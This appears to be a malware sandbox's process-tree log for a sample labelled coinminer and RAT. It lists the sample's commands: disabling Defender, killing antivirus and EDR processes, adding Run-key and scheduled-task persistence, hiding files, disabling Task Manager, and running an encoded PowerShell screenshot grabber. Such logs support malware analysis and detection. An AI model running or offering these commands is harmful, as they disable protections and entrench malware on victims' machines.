      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5828
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:4564
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1404
  - - C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 5016 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
      4⤵
      Executes dropped EXE
      PID:5064
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:2836
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:2564
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:3688
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:2800
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:5332
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:2588
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftWMIHost /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 0 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:1340
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v Flags /t REG_SZ /d 122 /f
      4⤵
      PID:5376
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc ONLOGON /rl HIGHEST /tn MicrosoftEdgeUpdateTaskMachineCore /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe\"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4252
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe
      4⤵
      Views/modifies file attributes
      PID:3412
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -EnableControlledFolderAccess Disabled -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2944
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1052
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2856
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM MpCmdRun.exe
      4⤵
      Kills process with taskkill
      PID:996
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v Flags /t REG_SZ /d 58 /f
      4⤵
      PID:5784
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:1944
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5432
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:3112
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
      4⤵
      Adds Run key to start application
      PID:5820
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:972
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe"
      4⤵
      Creates a file in the Startup directory
      Views/modifies file attributes
      PID:5624
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      PID:2024
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5700
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
      4⤵
      Adds Run key to start application
      PID:4340
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM avastui.exe
      4⤵
      Kills process with taskkill
      PID:716
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:2524
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe
      4⤵
      System Time Discovery
      Views/modifies file attributes
      PID:5468
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM AvastSvc.exe
      4⤵
      Kills process with taskkill
      PID:6016
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
      4⤵
      Adds Run key to start application
      System Time Discovery
      Modifies registry key
      PID:4924
  - - C:\Windows\system32\icacls.exe
      icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-1-0:(DE)(DC)(WD) /T /C
      4⤵
      Modifies file permissions
      PID:4596
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM avscan.exe
      4⤵
      PID:872
  - - C:\Windows\system32\icacls.exe
      icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-5-18:(DE)(DC)(WD) /T /C
      4⤵
      Modifies file permissions
      PID:5884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1276
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
      4⤵
      System Time Discovery
      Modifies registry key
      PID:5784
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -SubmitSamplesConsent 2"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5108
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM avgui.exe
      4⤵
      Kills process with taskkill
      PID:5540
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
      4⤵
      Views/modifies file attributes
      PID:3904
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM AVGSvc.exe
      4⤵
      PID:3296
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      Modifies registry key
      PID:5140
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      Modifies registry key
      PID:3476
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM bdagent.exe
      4⤵
      Kills process with taskkill
      PID:4656
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
      4⤵
      Views/modifies file attributes
      PID:4632
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM vsserv.exe
      4⤵
      Kills process with taskkill
      PID:6000
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      Modifies registry key
      PID:5648
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      Modifies registry key
      PID:6048
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM ekrn.exe
      4⤵
      Kills process with taskkill
      PID:5524
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM egui.exe
      4⤵
      Kills process with taskkill
      PID:5532
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -SevereThreatDefaultAction 6 -ModerateThreatDefaultAction 6 -LowThreatDefaultAction 6 -HighThreatDefaultAction 6"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:708
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mbam.exe
      4⤵
      PID:5872
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM MBAMService.exe
      4⤵
      Kills process with taskkill
      PID:2388
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mbamtray.exe
      4⤵
      PID:2084
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mcshield.exe
      4⤵
      Kills process with taskkill
      PID:1188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5624
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mcuicnt.exe
      4⤵
      PID:4576
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mccspsvc.exe
      4⤵
      Kills process with taskkill
      PID:3240
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1704
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM SentinelOne.exe
      4⤵
      PID:2608
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:2428
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:852
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM SentinelAgent.exe
      4⤵
      PID:3944
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:3540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3972
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM CylanceUI.exe
      4⤵
      PID:5324
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM CylanceSvc.exe
      4⤵
      Kills process with taskkill
      PID:4288
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cb.exe
      4⤵
      Kills process with taskkill
      PID:3012
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cbsensor.exe
      4⤵
      Kills process with taskkill
      PID:5244
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM SEDService.exe
      4⤵
      Kills process with taskkill
      PID:2076
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM savservice.exe
      4⤵
      PID:4528
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      PID:2700
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pfsaqein\pfsaqein.cmdline"
        5⤵
        
        PID:4792
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES26D3.tmp" "c:\Users\Admin\AppData\Local\Temp\pfsaqein\CSCFC968DF52ED24B689150B73BCF5DCEAF.TMP"
        6⤵
        
        PID:4708
- - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
    C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
    3⤵
    PID:3124
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Views/modifies file attributes
      PID:4372
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
      4⤵
      Views/modifies file attributes
      PID:1004
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v Flags /t REG_SZ /d 506 /f
      4⤵
      PID:1704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4252
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      4⤵
      Views/modifies file attributes
      PID:5160
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      4⤵
      PID:6000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -EnableControlledFolderAccess Disabled -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1976
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
      4⤵
      Views/modifies file attributes
      PID:3320
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v Flags /t REG_SZ /d 122 /f
      4⤵
      PID:2400
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5624
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:4188
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Views/modifies file attributes
      PID:408
  - - C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 3124 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
      4⤵
      PID:1016
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:5008
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:5084
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftWMIHost /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 0 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe" /f
      4⤵
      Modifies registry key
      PID:5888
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe
      4⤵
      Views/modifies file attributes
      PID:1420
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v Flags /t REG_SZ /d 58 /f
      4⤵
      PID:4816
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM MpCmdRun.exe
      4⤵
      PID:4488
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      4⤵
      PID:2440
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
      4⤵
      Modifies registry key
      PID:2496
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1768
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
      4⤵
      Modifies registry key
      PID:3136
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:2880
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MicrosoftEdgeUpdate.exe
      4⤵
      Views/modifies file attributes
      PID:5124
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:4680
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe"
      4⤵
      PID:5660
